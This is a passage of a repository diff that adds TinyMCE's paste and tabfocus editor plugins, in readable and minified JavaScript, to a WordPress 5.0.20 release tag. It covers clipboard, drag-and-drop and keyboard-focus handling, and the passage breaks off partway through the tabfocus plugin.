+    var base64 = getBase64FromUri(dataUri);
+    var id = uniqueId();
+    var name$$1 = editor.settings.images_reuse_filename && blob.name ? extractFilename(editor, blob.name) : id;
+    var img = new Image();
+    img.src = dataUri;
+    if (isValidDataUriImage(editor.settings, img)) {
+      var blobCache = editor.editorUpload.blobCache;
+      var blobInfo = void 0, existingBlobInfo = void 0;
+      existingBlobInfo = blobCache.findFirst(function (cachedBlobInfo) {
+        return cachedBlobInfo.base64() === base64;
+      });
+      if (!existingBlobInfo) {
+        blobInfo = blobCache.create(id, blob, base64, name$$1);
+        blobCache.add(blobInfo);
+      } else {
+        blobInfo = existingBlobInfo;
+      }
+      pasteHtml$1(editor, '<img src="' + blobInfo.blobUri() + '">', false);
+    } else {
+      pasteHtml$1(editor, '<img src="' + dataUri + '">', false);
+    }
+  };
+  var isClipboardEvent = function (event$$1) {
+    return event$$1.type === 'paste';
+  };
+  var pasteImageData = function (editor, e, rng) {
+    var dataTransfer = isClipboardEvent(e) ? e.clipboardData : e.dataTransfer;
+    function processItems(items) {
+      var i, item, reader, hadImage = false;
+      if (items) {
+        for (i = 0; i < items.length; i++) {
+          item = items[i];
+          if (/^image\/(jpeg|png|gif|bmp)$/.test(item.type)) {
+            var blob = item.getAsFile ? item.getAsFile() : item;
+            reader = new window.FileReader();
+            reader.onload = pasteImage.bind(null, editor, rng, reader, blob);
+            reader.readAsDataURL(blob);
+            e.preventDefault();
+            hadImage = true;
+          }
+        }
+      }
+      return hadImage;
+    }
+    if (editor.settings.paste_data_images && dataTransfer) {
+      return processItems(dataTransfer.items) || processItems(dataTransfer.files);
+    }
+  };
+  var isBrokenAndroidClipboardEvent = function (e) {
+    var clipboardData = e.clipboardData;
+    return navigator.userAgent.indexOf('Android') !== -1 && clipboardData && clipboardData.items && clipboardData.items.length === 0;
+  };
+  var isKeyboardPasteEvent = function (e) {
+    return global$4.metaKeyPressed(e) && e.keyCode === 86 || e.shiftKey && e.keyCode === 45;
+  };
+  var registerEventHandlers = function (editor, pasteBin, pasteFormat) {
+    var keyboardPasteTimeStamp = 0;
+    var keyboardPastePlainTextState;
+    editor.on('keydown', function (e) {
+      function removePasteBinOnKeyUp(e) {
+        if (isKeyboardPasteEvent(e) && !e.isDefaultPrevented()) {
+          pasteBin.remove();
+        }
+      }
+      if (isKeyboardPasteEvent(e) && !e.isDefaultPrevented()) {
+        keyboardPastePlainTextState = e.shiftKey && e.keyCode === 86;
+        if (keyboardPastePlainTextState && global$1.webkit && navigator.userAgent.indexOf('Version/') !== -1) {
+          return;
+        }
+        e.stopImmediatePropagation();
+        keyboardPasteTimeStamp = new Date().getTime();
+        if (global$1.ie && keyboardPastePlainTextState) {
+          e.preventDefault();
+          $_8tki3zijjjgwectj.firePaste(editor, true);
+          return;
+        }
+        pasteBin.remove();
+        pasteBin.create();
+        editor.once('keyup', removePasteBinOnKeyUp);
+        editor.once('paste', function () {
+          editor.off('keyup', removePasteBinOnKeyUp);
+        });
+      }
+    });
+    function insertClipboardContent(clipboardContent, isKeyBoardPaste, plainTextMode, internal) {
+      var content, isPlainTextHtml;
+      if (hasContentType(clipboardContent, 'text/html')) {
+        content = clipboardContent['text/html'];
+      } else {
+        content = pasteBin.getHtml();
+        internal = internal ? internal : $_4x13hjirjjgwecu1.isMarked(content);
+        if (pasteBin.isDefaultContent(content)) {
+          plainTextMode = true;
+        }
+      }
+      content = $_4bi2o9j0jjgwecui.trimHtml(content);
+      pasteBin.remove();
+      isPlainTextHtml = internal === false && $_4h3hnrisjjgwecu2.isPlainText(content);
+      if (!content.length || isPlainTextHtml) {
+        plainTextMode = true;
+      }
+      if (plainTextMode) {
+        if (hasContentType(clipboardContent, 'text/plain') && isPlainTextHtml) {
+          content = clipboardContent['text/plain'];
+        } else {
+          content = $_4bi2o9j0jjgwecui.innerText(content);
+        }
+      }
+      if (pasteBin.isDefaultContent(content)) {
+        if (!isKeyBoardPaste) {
+          editor.windowManager.alert('Please use Ctrl+V/Cmd+V keyboard shortcuts to paste contents.');
+        }
+        return;
+      }
+      if (plainTextMode) {
+        pasteText(editor, content);
+      } else {
+        pasteHtml$1(editor, content, internal);
+      }
+    }
+    var getLastRng = function () {
+      return pasteBin.getLastRng() || editor.selection.getRng();
+    };
+    editor.on('paste', function (e) {
+      var clipboardTimer = new Date().getTime();
+      var clipboardContent = getClipboardContent(editor, e);
+      var clipboardDelay = new Date().getTime() - clipboardTimer;
+      var isKeyBoardPaste = new Date().getTime() - keyboardPasteTimeStamp - clipboardDelay < 1000;
+      var plainTextMode = pasteFormat.get() === 'text' || keyboardPastePlainTextState;
+      var internal = hasContentType(clipboardContent, $_4x13hjirjjgwecu1.internalHtmlMime());
+      keyboardPastePlainTextState = false;
+      if (e.isDefaultPrevented() || isBrokenAndroidClipboardEvent(e)) {
+        pasteBin.remove();
+        return;
+      }
+      if (!hasHtmlOrText(clipboardContent) && pasteImageData(editor, e, getLastRng())) {
+        pasteBin.remove();
+        return;
+      }
+      if (!isKeyBoardPaste) {
+        e.preventDefault();
+      }
+      if (global$1.ie && (!isKeyBoardPaste || e.ieFake) && !hasContentType(clipboardContent, 'text/html')) {
+        pasteBin.create();
+        editor.dom.bind(pasteBin.getEl(), 'paste', function (e) {
+          e.stopPropagation();
+        });
+        editor.getDoc().execCommand('Paste', false, null);
+        clipboardContent['text/html'] = pasteBin.getHtml();
+      }
+      if (hasContentType(clipboardContent, 'text/html')) {
+        e.preventDefault();
+        if (!internal) {
+          internal = $_4x13hjirjjgwecu1.isMarked(clipboardContent['text/html']);
+        }
+        insertClipboardContent(clipboardContent, isKeyBoardPaste, plainTextMode, internal);
+      } else {
+        global$2.setEditorTimeout(editor, function () {
+          insertClipboardContent(clipboardContent, isKeyBoardPaste, plainTextMode, internal);
+        }, 0);
+      }
+    });
+  };
+  var registerEventsAndFilters = function (editor, pasteBin, pasteFormat) {
+    registerEventHandlers(editor, pasteBin, pasteFormat);
+    var src;
+    editor.parser.addNodeFilter('img', function (nodes, name$$1, args) {
+      var isPasteInsert = function (args) {
+        return args.data && args.data.paste === true;
+      };
+      var remove = function (node) {
+        if (!node.attr('data-mce-object') && src !== global$1.transparentSrc) {
+          node.remove();
+        }
+      };
+      var isWebKitFakeUrl = function (src) {
+        return src.indexOf('webkit-fake-url') === 0;
+      };
+      var isDataUri = function (src) {
+        return src.indexOf('data:') === 0;
+      };
+      if (!editor.settings.paste_data_images && isPasteInsert(args)) {
+        var i = nodes.length;
+        while (i--) {
+          src = nodes[i].attributes.map.src;
+          if (!src) {
+            continue;
+          }
+          if (isWebKitFakeUrl(src)) {
+            remove(nodes[i]);
+          } else if (!editor.settings.allow_html_data_urls && isDataUri(src)) {
+            remove(nodes[i]);
+          }
+        }
+      }
+    });
+  };
+
+  var getPasteBinParent = function (editor) {
+    return global$1.ie && editor.inline ? document.body : editor.getBody();
+  };
+  var isExternalPasteBin = function (editor) {
+    return getPasteBinParent(editor) !== editor.getBody();
+  };
+  var delegatePasteEvents = function (editor, pasteBinElm) {
+    if (isExternalPasteBin(editor)) {
+      editor.dom.bind(pasteBinElm, 'paste keyup', function (e) {
+        setTimeout(function () {
+          editor.fire('paste');
+        }, 0);
+      });
+    }
+  };
+  var create = function (editor, lastRngCell, pasteBinDefaultContent) {
+    var dom = editor.dom, body = editor.getBody();
+    var pasteBinElm;
+    lastRngCell.set(editor.selection.getRng());
+    pasteBinElm = editor.dom.add(getPasteBinParent(editor), 'div', {
+      'id': 'mcepastebin',
+      'class': 'mce-pastebin',
+      'contentEditable': true,
+      'data-mce-bogus': 'all',
+      'style': 'position: fixed; top: 50%; width: 10px; height: 10px; overflow: hidden; opacity: 0'
+    }, pasteBinDefaultContent);
+    if (global$1.ie || global$1.gecko) {
+      dom.setStyle(pasteBinElm, 'left', dom.getStyle(body, 'direction', true) === 'rtl' ? 65535 : -65535);
+    }
+    dom.bind(pasteBinElm, 'beforedeactivate focusin focusout', function (e) {
+      e.stopPropagation();
+    });
+    delegatePasteEvents(editor, pasteBinElm);
+    pasteBinElm.focus();
+    editor.selection.select(pasteBinElm, true);
+  };
+  var remove = function (editor, lastRngCell) {
+    if (getEl(editor)) {
+      var pasteBinClone = void 0;
+      var lastRng = lastRngCell.get();
+      while (pasteBinClone = editor.dom.get('mcepastebin')) {
+        editor.dom.remove(pasteBinClone);
+        editor.dom.unbind(pasteBinClone);
+      }
+      if (lastRng) {
+        editor.selection.setRng(lastRng);
+      }
+    }
+    lastRngCell.set(null);
+  };
+  var getEl = function (editor) {
+    return editor.dom.get('mcepastebin');
+  };
+  var getHtml = function (editor) {
+    var pasteBinElm, pasteBinClones, i, dirtyWrappers, cleanWrapper;
+    var copyAndRemove = function (toElm, fromElm) {
+      toElm.appendChild(fromElm);
+      editor.dom.remove(fromElm, true);
+    };
+    pasteBinClones = global$3.grep(getPasteBinParent(editor).childNodes, function (elm) {
+      return elm.id === 'mcepastebin';
+    });
+    pasteBinElm = pasteBinClones.shift();
+    global$3.each(pasteBinClones, function (pasteBinClone) {
+      copyAndRemove(pasteBinElm, pasteBinClone);
+    });
+    dirtyWrappers = editor.dom.select('div[id=mcepastebin]', pasteBinElm);
+    for (i = dirtyWrappers.length - 1; i >= 0; i--) {
+      cleanWrapper = editor.dom.create('div');
+      pasteBinElm.insertBefore(cleanWrapper, dirtyWrappers[i]);
+      copyAndRemove(cleanWrapper, dirtyWrappers[i]);
+    }
+    return pasteBinElm ? pasteBinElm.innerHTML : '';
+  };
+  var getLastRng = function (lastRng) {
+    return lastRng.get();
+  };
+  var isDefaultContent = function (pasteBinDefaultContent, content) {
+    return content === pasteBinDefaultContent;
+  };
+  var isPasteBin = function (elm) {
+    return elm && elm.id === 'mcepastebin';
+  };
+  var isDefault = function (editor, pasteBinDefaultContent) {
+    var pasteBinElm = getEl(editor);
+    return isPasteBin(pasteBinElm) && isDefaultContent(pasteBinDefaultContent, pasteBinElm.innerHTML);
+  };
+  var PasteBin = function (editor) {
+    var lastRng = Cell(null);
+    var pasteBinDefaultContent = '%MCEPASTEBIN%';
+    return {
+      create: function () {
+        return create(editor, lastRng, pasteBinDefaultContent);
+      },
+      remove: function () {
+        return remove(editor, lastRng);
+      },
+      getEl: function () {
+        return getEl(editor);
+      },
+      getHtml: function () {
+        return getHtml(editor);
+      },
+      getLastRng: function () {
+        return getLastRng(lastRng);
+      },
+      isDefault: function () {
+        return isDefault(editor, pasteBinDefaultContent);
+      },
+      isDefaultContent: function (content) {
+        return isDefaultContent(pasteBinDefaultContent, content);
+      }
+    };
+  };
+
+  var Clipboard = function (editor, pasteFormat) {
+    var pasteBin = PasteBin(editor);
+    editor.on('preInit', function () {
+      return registerEventsAndFilters(editor, pasteBin, pasteFormat);
+    });
+    return {
+      pasteFormat: pasteFormat,
+      pasteHtml: function (html, internalFlag) {
+        return pasteHtml$1(editor, html, internalFlag);
+      },
+      pasteText: function (text) {
+        return pasteText(editor, text);
+      },
+      pasteImageData: function (e, rng) {
+        return pasteImageData(editor, e, rng);
+      },
+      getDataTransferItems: getDataTransferItems,
+      hasHtmlOrText: hasHtmlOrText,
+      hasContentType: hasContentType
+    };
+  };
+
+  var noop = function () {
+  };
+  var hasWorkingClipboardApi = function (clipboardData) {
+    return global$1.iOS === false && clipboardData !== undefined && typeof clipboardData.setData === 'function' && $_4bi2o9j0jjgwecui.isMsEdge() !== true;
+  };
+  var setHtml5Clipboard = function (clipboardData, html, text) {
+    if (hasWorkingClipboardApi(clipboardData)) {
+      try {
+        clipboardData.clearData();
+        clipboardData.setData('text/html', html);
+        clipboardData.setData('text/plain', text);
+        clipboardData.setData($_4x13hjirjjgwecu1.internalHtmlMime(), html);
+        return true;
+      } catch (e) {
+        return false;
+      }
+    } else {
+      return false;
+    }
+  };
+  var setClipboardData = function (evt, data, fallback, done) {
+    if (setHtml5Clipboard(evt.clipboardData, data.html, data.text)) {
+      evt.preventDefault();
+      done();
+    } else {
+      fallback(data.html, done);
+    }
+  };
+  var fallback = function (editor) {
+    return function (html, done) {
+      var markedHtml = $_4x13hjirjjgwecu1.mark(html);
+      var outer = editor.dom.create('div', {
+        'contenteditable': 'false',
+        'data-mce-bogus': 'all'
+      });
+      var inner = editor.dom.create('div', { contenteditable: 'true' }, markedHtml);
+      editor.dom.setStyles(outer, {
+        position: 'fixed',
+        top: '0',
+        left: '-3000px',
+        width: '1000px',
+        overflow: 'hidden'
+      });
+      outer.appendChild(inner);
+      editor.dom.add(editor.getBody(), outer);
+      var range = editor.selection.getRng();
+      inner.focus();
+      var offscreenRange = editor.dom.createRng();
+      offscreenRange.selectNodeContents(inner);
+      editor.selection.setRng(offscreenRange);
+      setTimeout(function () {
+        editor.selection.setRng(range);
+        outer.parentNode.removeChild(outer);
+        done();
+      }, 0);
+    };
+  };
+  var getData = function (editor) {
+    return {
+      html: editor.selection.getContent({ contextual: true }),
+      text: editor.selection.getContent({ format: 'text' })
+    };
+  };
+  var cut = function (editor) {
+    return function (evt) {
+      if (editor.selection.isCollapsed() === false) {
+        setClipboardData(evt, getData(editor), fallback(editor), function () {
+          setTimeout(function () {
+            editor.execCommand('Delete');
+          }, 0);
+        });
+      }
+    };
+  };
+  var copy = function (editor) {
+    return function (evt) {
+      if (editor.selection.isCollapsed() === false) {
+        setClipboardData(evt, getData(editor), fallback(editor), noop);
+      }
+    };
+  };
+  var register$1 = function (editor) {
+    editor.on('cut', cut(editor));
+    editor.on('copy', copy(editor));
+  };
+  var $_32blojj3jjgwecv4 = { register: register$1 };
+
+  var global$10 = tinymce.util.Tools.resolve('tinymce.dom.RangeUtils');
+
+  var getCaretRangeFromEvent = function (editor, e) {
+    return global$10.getCaretRangeFromPoint(e.clientX, e.clientY, editor.getDoc());
+  };
+  var isPlainTextFileUrl = function (content) {
+    var plainTextContent = content['text/plain'];
+    return plainTextContent ? plainTextContent.indexOf('file://') === 0 : false;
+  };
+  var setFocusedRange = function (editor, rng) {
+    editor.focus();
+    editor.selection.setRng(rng);
+  };
+  var setup = function (editor, clipboard, draggingInternallyState) {
+    if ($_xr8b0ikjjgwectl.shouldBlockDrop(editor)) {
+      editor.on('dragend dragover draggesture dragdrop drop drag', function (e) {
+        e.preventDefault();
+        e.stopPropagation();
+      });
+    }
+    if (!$_xr8b0ikjjgwectl.shouldPasteDataImages(editor)) {
+      editor.on('drop', function (e) {
+        var dataTransfer = e.dataTransfer;
+        if (dataTransfer && dataTransfer.files && dataTransfer.files.length > 0) {
+          e.preventDefault();
+        }
+      });
+    }
+    editor.on('drop', function (e) {
+      var dropContent, rng;
+      rng = getCaretRangeFromEvent(editor, e);
+      if (e.isDefaultPrevented() || draggingInternallyState.get()) {
+        return;
+      }
+      dropContent = clipboard.getDataTransferItems(e.dataTransfer);
+      var internal = clipboard.hasContentType(dropContent, $_4x13hjirjjgwecu1.internalHtmlMime());
+      if ((!clipboard.hasHtmlOrText(dropContent) || isPlainTextFileUrl(dropContent)) && clipboard.pasteImageData(e, rng)) {
+        return;
+      }
+      if (rng && $_xr8b0ikjjgwectl.shouldFilterDrop(editor)) {
+        var content_1 = dropContent['mce-internal'] || dropContent['text/html'] || dropContent['text/plain'];
+        if (content_1) {
+          e.preventDefault();
+          global$2.setEditorTimeout(editor, function () {
+            editor.undoManager.transact(function () {
+              if (dropContent['mce-internal']) {
+                editor.execCommand('Delete');
+              }
+              setFocusedRange(editor, rng);
+              content_1 = $_4bi2o9j0jjgwecui.trimHtml(content_1);
+              if (!dropContent['text/html']) {
+                clipboard.pasteText(content_1);
+              } else {
+                clipboard.pasteHtml(content_1, internal);
+              }
+            });
+          });
+        }
+      }
+    });
+    editor.on('dragstart', function (e) {
+      draggingInternallyState.set(true);
+    });
+    editor.on('dragover dragend', function (e) {
+      if ($_xr8b0ikjjgwectl.shouldPasteDataImages(editor) && draggingInternallyState.get() === false) {
+        e.preventDefault();
+        setFocusedRange(editor, getCaretRangeFromEvent(editor, e));
+      }
+      if (e.type === 'dragend') {
+        draggingInternallyState.set(false);
+      }
+    });
+  };
+  var $_b4etj0j4jjgwecv7 = { setup: setup };
+
+  var setup$1 = function (editor) {
+    var plugin = editor.plugins.paste;
+    var preProcess = $_xr8b0ikjjgwectl.getPreProcess(editor);
+    if (preProcess) {
+      editor.on('PastePreProcess', function (e) {
+        preProcess.call(plugin, plugin, e);
+      });
+    }
+    var postProcess = $_xr8b0ikjjgwectl.getPostProcess(editor);
+    if (postProcess) {
+      editor.on('PastePostProcess', function (e) {
+        postProcess.call(plugin, plugin, e);
+      });
+    }
+  };
+  var $_c5bihmj6jjgwecva = { setup: setup$1 };
+
+  function addPreProcessFilter(editor, filterFunc) {
+    editor.on('PastePreProcess', function (e) {
+      e.content = filterFunc(editor, e.content, e.internal, e.wordContent);
+    });
+  }
+  function addPostProcessFilter(editor, filterFunc) {
+    editor.on('PastePostProcess', function (e) {
+      filterFunc(editor, e.node);
+    });
+  }
+  function removeExplorerBrElementsAfterBlocks(editor, html) {
+    if (!$_dfatuiivjjgwecu8.isWordContent(html)) {
+      return html;
+    }
+    var blockElements = [];
+    global$3.each(editor.schema.getBlockElements(), function (block, blockName) {
+      blockElements.push(blockName);
+    });
+    var explorerBlocksRegExp = new RegExp('(?:<br>&nbsp;[\\s\\r\\n]+|<br>)*(<\\/?(' + blockElements.join('|') + ')[^>]*>)(?:<br>&nbsp;[\\s\\r\\n]+|<br>)*', 'g');
+    html = $_4bi2o9j0jjgwecui.filter(html, [[
+        explorerBlocksRegExp,
+        '$1'
+      ]]);
+    html = $_4bi2o9j0jjgwecui.filter(html, [
+      [
+        /<br><br>/g,
+        '<BR><BR>'
+      ],
+      [
+        /<br>/g,
+        ' '
+      ],
+      [
+        /<BR><BR>/g,
+        '<br>'
+      ]
+    ]);
+    return html;
+  }
+  function removeWebKitStyles(editor, content, internal, isWordHtml) {
+    if (isWordHtml || internal) {
+      return content;
+    }
+    var webKitStylesSetting = $_xr8b0ikjjgwectl.getWebkitStyles(editor);
+    var webKitStyles;
+    if ($_xr8b0ikjjgwectl.shouldRemoveWebKitStyles(editor) === false || webKitStylesSetting === 'all') {
+      return content;
+    }
+    if (webKitStylesSetting) {
+      webKitStyles = webKitStylesSetting.split(/[, ]/);
+    }
+    if (webKitStyles) {
+      var dom_1 = editor.dom, node_1 = editor.selection.getNode();
+      content = content.replace(/(<[^>]+) style="([^"]*)"([^>]*>)/gi, function (all, before, value, after) {
+        var inputStyles = dom_1.parseStyle(dom_1.decode(value));
+        var outputStyles = {};
+        if (webKitStyles === 'none') {
+          return before + after;
+        }
+        for (var i = 0; i < webKitStyles.length; i++) {
+          var inputValue = inputStyles[webKitStyles[i]], currentValue = dom_1.getStyle(node_1, webKitStyles[i], true);
+          if (/color/.test(webKitStyles[i])) {
+            inputValue = dom_1.toHex(inputValue);
+            currentValue = dom_1.toHex(currentValue);
+          }
+          if (currentValue !== inputValue) {
+            outputStyles[webKitStyles[i]] = inputValue;
+          }
+        }
+        outputStyles = dom_1.serializeStyle(outputStyles, 'span');
+        if (outputStyles) {
+          return before + ' style="' + outputStyles + '"' + after;
+        }
+        return before + after;
+      });
+    } else {
+      content = content.replace(/(<[^>]+) style="([^"]*)"([^>]*>)/gi, '$1$3');
+    }
+    content = content.replace(/(<[^>]+) data-mce-style="([^"]+)"([^>]*>)/gi, function (all, before, value, after) {
+      return before + ' style="' + value + '"' + after;
+    });
+    return content;
+  }
+  function removeUnderlineAndFontInAnchor(editor, root) {
+    editor.$('a', root).find('font,u').each(function (i, node) {
+      editor.dom.remove(node, true);
+    });
+  }
+  var setup$2 = function (editor) {
+    if (global$1.webkit) {
+      addPreProcessFilter(editor, removeWebKitStyles);
+    }
+    if (global$1.ie) {
+      addPreProcessFilter(editor, removeExplorerBrElementsAfterBlocks);
+      addPostProcessFilter(editor, removeUnderlineAndFontInAnchor);
+    }
+  };
+  var $_36tmgyj7jjgwecvc = { setup: setup$2 };
+
+  var curry = function (f) {
+    var x = [];
+    for (var _i = 1; _i < arguments.length; _i++) {
+      x[_i - 1] = arguments[_i];
+    }
+    var args = new Array(arguments.length - 1);
+    for (var i = 1; i < arguments.length; i++)
+      args[i - 1] = arguments[i];
+    return function () {
+      var x = [];
+      for (var _i = 0; _i < arguments.length; _i++) {
+        x[_i] = arguments[_i];
+      }
+      var newArgs = new Array(arguments.length);
+      for (var j = 0; j < newArgs.length; j++)
+        newArgs[j] = arguments[j];
+      var all = args.concat(newArgs);
+      return f.apply(null, all);
+    };
+  };
+
+  var stateChange = function (editor, clipboard, e) {
+    var ctrl = e.control;
+    ctrl.active(clipboard.pasteFormat.get() === 'text');
+    editor.on('PastePlainTextToggle', function (e) {
+      ctrl.active(e.state);
+    });
+  };
+  var register$2 = function (editor, clipboard) {
+    var postRender = curry(stateChange, editor, clipboard);
+    editor.addButton('pastetext', {
+      active: false,
+      icon: 'pastetext',
+      tooltip: 'Paste as text',
+      cmd: 'mceTogglePlainTextPaste',
+      onPostRender: postRender
+    });
+    editor.addMenuItem('pastetext', {
+      text: 'Paste as text',
+      selectable: true,
+      active: clipboard.pasteFormat,
+      cmd: 'mceTogglePlainTextPaste',
+      onPostRender: postRender
+    });
+  };
+  var $_g9yhwdj8jjgwecvf = { register: register$2 };
+
+  global.add('paste', function (editor) {
+    if ($_15bf6siejjgwect1.hasProPlugin(editor) === false) {
+      var userIsInformedState = Cell(false);
+      var draggingInternallyState = Cell(false);
+      var pasteFormat = Cell($_xr8b0ikjjgwectl.isPasteAsTextEnabled(editor) ? 'text' : 'html');
+      var clipboard = Clipboard(editor, pasteFormat);
+      var quirks = $_36tmgyj7jjgwecvc.setup(editor);
+      $_g9yhwdj8jjgwecvf.register(editor, clipboard);
+      $_fldd1mihjjgwecth.register(editor, clipboard, userIsInformedState);
+      $_c5bihmj6jjgwecva.setup(editor);
+      $_32blojj3jjgwecv4.register(editor);
+      $_b4etj0j4jjgwecv7.setup(editor, clipboard, draggingInternallyState);
+      return $_6gtliyigjjgwecte.get(clipboard, quirks);
+    }
+  });
+  function Plugin () {
+  }
+
+  return Plugin;
+
+}());
+})();
Index: /tags/5.0.20/src/wp-includes/js/tinymce/plugins/paste/plugin.min.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/tinymce/plugins/paste/plugin.min.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/tinymce/plugins/paste/plugin.min.js	(revision 56912)
@@ -0,0 +1,1 @@
+!function(){"use strict";var u=function(e){var t=e,n=function(){return t};return{get:n,set:function(e){t=e},clone:function(){return u(n())}}},t=tinymce.util.Tools.resolve("tinymce.PluginManager"),o=function(e){return!(!/(^|[ ,])powerpaste([, ]|$)/.test(e.settings.plugins)||!t.get("powerpaste")||("undefined"!=typeof window.console&&window.console.log&&window.console.log("PowerPaste is incompatible with Paste plugin! Remove 'paste' from the 'plugins' option."),0))},s=function(e,t){return{clipboard:e,quirks:t}},f=function(e,t,n,r){return e.fire("PastePreProcess",{content:t,internal:n,wordContent:r})},d=function(e,t,n,r){return e.fire("PastePostProcess",{node:t,internal:n,wordContent:r})},l=function(e,t){return e.fire("PastePlainTextToggle",{state:t})},n=function(e,t){return e.fire("paste",{ieFake:t})},m={shouldPlainTextInform:function(e){return e.getParam("paste_plaintext_inform",!0)},shouldBlockDrop:function(e){return e.getParam("paste_block_drop",!1)},shouldPasteDataImages:function(e){return e.getParam("paste_data_images",!1)},shouldFilterDrop:function(e){return e.getParam("paste_filter_drop",!0)},getPreProcess:function(e){return e.getParam("paste_preprocess")},getPostProcess:function(e){return e.getParam("paste_postprocess")},getWebkitStyles:function(e){return e.getParam("paste_webkit_styles")},shouldRemoveWebKitStyles:function(e){return e.getParam("paste_remove_styles_if_webkit",!0)},shouldMergeFormats:function(e){return e.getParam("paste_merge_formats",!0)},isSmartPasteEnabled:function(e){return e.getParam("smart_paste",!0)},isPasteAsTextEnabled:function(e){return e.getParam("paste_as_text",!1)},getRetainStyleProps:function(e){return e.getParam("paste_retain_style_properties")},getWordValidElements:function(e){return e.getParam("paste_word_valid_elements","-strong/b,-em/i,-u,-span,-p,-ol,-ul,-li,-h1,-h2,-h3,-h4,-h5,-h6,-p/div,-a[href|name],sub,sup,strike,br,del,table[width],tr,td[colspan|rowspan|width],th[colspan|rowspan|width],thead,tfoot,tbody")},shouldConvertWordFakeLists:function(e){return e.getParam("paste_convert_word_fake_lists",!0)},shouldUseDefaultFilters:function(e){return e.getParam("paste_enable_default_filters",!0)}},r=function(e,t,n){var r,a,i;"text"===t.pasteFormat.get()?(t.pasteFormat.set("html"),l(e,!1)):(t.pasteFormat.set("text"),l(e,!0),i=e,!1===n.get()&&m.shouldPlainTextInform(i)&&(a="Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.",(r=e).notificationManager.open({text:r.translate(a),type:"info"}),n.set(!0))),e.focus()},c=function(e,n,t){e.addCommand("mceTogglePlainTextPaste",function(){r(e,n,t)}),e.addCommand("mceInsertClipboardContent",function(e,t){t.content&&n.pasteHtml(t.content,t.internal),t.text&&n.pasteText(t.text)})},v=tinymce.util.Tools.resolve("tinymce.Env"),h=tinymce.util.Tools.resolve("tinymce.util.Delay"),b=tinymce.util.Tools.resolve("tinymce.util.Tools"),a=tinymce.util.Tools.resolve("tinymce.util.VK"),e="x-tinymce/html",i="\x3c!-- "+e+" --\x3e",p=function(e){return i+e},g=function(e){return e.replace(i,"")},y=function(e){return-1!==e.indexOf(i)},x=function(){return e},P=tinymce.util.Tools.resolve("tinymce.html.Entities"),w=function(e){return e.replace(/\r?\n/g,"<br>")},_=function(e,t,n){var r=e.split(/\n\n/),a=function(e,t){var n,r=[],a="<"+e;if("object"==typeof t){for(n in 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s=a[u[o]],l=c.getStyle(f,u[o],!0);/color/.test(u[o])&&(s=c.toHex(s),l=c.toHex(l)),l!==s&&(i[u[o]]=s)}return(i=c.serializeStyle(i,"span"))?t+' style="'+i+'"'+r:t+r})}else t=t.replace(/(<[^>]+) style="([^"]*)"([^>]*>)/gi,"$1$3");return t=t.replace(/(<[^>]+) data-mce-style="([^"]+)"([^>]*>)/gi,function(e,t,n,r){return t+' style="'+n+'"'+r})}function Pe(n,e){n.$("a",e).find("font,u").each(function(e,t){n.dom.remove(t,!0)})}var we=function(e){var t,n;v.webkit&&be(e,xe),v.ie&&(be(e,ye),n=Pe,(t=e).on("PastePostProcess",function(e){n(t,e.node)}))},_e=function(e,t,n){var r=n.control;r.active("text"===t.pasteFormat.get()),e.on("PastePlainTextToggle",function(e){r.active(e.state)})},De=function(e,t){var n=function(i){for(var e=[],t=1;t<arguments.length;t++)e[t-1]=arguments[t];for(var o=new Array(arguments.length-1),n=1;n<arguments.length;n++)o[n-1]=arguments[n];return function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];for(var n=new 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Index: /tags/5.0.20/src/wp-includes/js/tinymce/plugins/tabfocus/plugin.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/tinymce/plugins/tabfocus/plugin.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/tinymce/plugins/tabfocus/plugin.js	(revision 56912)
@@ -0,0 +1,124 @@
+(function () {
+var tabfocus = (function () {
+  'use strict';
+
+  var global = tinymce.util.Tools.resolve('tinymce.PluginManager');
+
+  var global$1 = tinymce.util.Tools.resolve('tinymce.dom.DOMUtils');
+
+  var global$2 = tinymce.util.Tools.resolve('tinymce.EditorManager');
+
+  var global$3 = tinymce.util.Tools.resolve('tinymce.Env');
+
+  var global$4 = tinymce.util.Tools.resolve('tinymce.util.Delay');
+
+  var global$5 = tinymce.util.Tools.resolve('tinymce.util.Tools');
+
+  var global$6 = tinymce.util.Tools.resolve('tinymce.util.VK');
+
+  var getTabFocusElements = function (editor) {
+    return editor.getParam('tabfocus_elements', ':prev,:next');
+  };
+  var getTabFocus = function (editor) {
+    return editor.getParam('tab_focus', getTabFocusElements(editor));
+  };
+  var $_8rita4kwjjgwed4m = { getTabFocus: getTabFocus };
+
+  var DOM = global$1.DOM;
+  var tabCancel = function (e) {
+    if (e.keyCode === global$6.TAB && !e.ctrlKey && !e.altKey && !e.metaKey) {
+      e.preventDefault();
+    }
+  };
+  var setup = function (editor) {
+    function tabHandler(e) {
+      var x, el, v, i;
+      if (e.keyCode !== global$6.TAB || e.ctrlKey || e.altKey || e.metaKey || e.isDefaultPrevented()) {
+        return;
+      }
+      function find(direction) {
+        el = DOM.select(':input:enabled,*[tabindex]:not(iframe)');
+        function canSelectRecursive(e) {
+          return e.nodeName === 'BODY' || e.type !== 'hidden' && e.style.display !== 'none' && e.style.visibility !== 'hidden' && canSelectRecursive(e.parentNode);
+        }
+        function canSelect(el) {
+          return /INPUT|TEXTAREA|BUTTON/.test(el.tagName) && global$2.get(e.id) && el.tabIndex !== -1 && canSelectRecursive(el);
+        }
+        global$5.each(el, function (e, i) {
+          if (e.id === editor.id) {
+            x = i;
+            return false;
+          }
+        });
+        if (direction > 0) {
+          for (i = x + 1; i < el.length; i++) {
+            if (canSelect(el[i])) {
+              return el[i];
+            }
+          }
+        } else {
+          for (i = x - 1; i >= 0; i--) {
+            if (canSelect(el[i])) {
+              return el[i];
+            }
+          }
+        }
+        return null;
+      }
+      v = global$5.explode($_8rita4kwjjgwed4m.getTabFocus(editor));
+      if (v.length === 1) {
+        v[1] = v[0];
+        v[0] = ':prev';
+      }
+      if (e.shiftKey) {
+        if (v[0] === ':prev') {
+          el = find(-1);
+        } else {
+          el = DOM.get(v[0]);
+        }
+      } else {
+        if (v[1] === ':next') {
+          el = find(1);
+        } else {
+          el = DOM.get(v[1]);
+        }
+      }
+      if (el) {
+        var focusEditor = global$2.get(el.id || el.name);
+        if (el.id && focusEditor) {
+          focusEditor.focus();
+        } else {
+          global$4.setTimeout(function () {
